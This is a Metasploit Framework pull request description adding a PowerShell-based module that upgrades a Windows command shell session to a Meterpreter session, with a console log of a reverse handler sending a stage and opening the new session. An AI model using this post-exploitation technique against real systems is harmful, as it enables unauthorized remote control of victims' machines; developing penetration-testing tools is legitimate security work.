rapid7/metasploit-framework — pull request #2936 by Meatballs1 (2014-02-02 19:12:19+00:00)
Title: Windows Shell - Powershell Upgrade

This uses Powershell to upgrade a shell session to Meterpreter. I was going to integrate it into session -u but that would mean modifying the script somewhat so I have saved that for a later job...

I have also implemented some missing Windows shell commands.

```
[*] Sending encoded stage (267 bytes) to 192.168.1.27
[*] Command shell session 4 opened (192.168.1.100:8888 -> 192.168.1.27:49174) at 2014-02-02 19:10:24 +0000
msf exploit(powershell_cmd_upgrade) > set SESSION 4
msf exploit(powershell_cmd_upgrade) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.100:4444
[*] Executing powershell command line...
[*] Sending stage (769024 bytes) to 192.168.1.27
[*] Meterpreter session 5 opened (192.168.1.100:4444 -> 192.168.1.27:49175) at 2014-02-02 19:11:09 +0000
```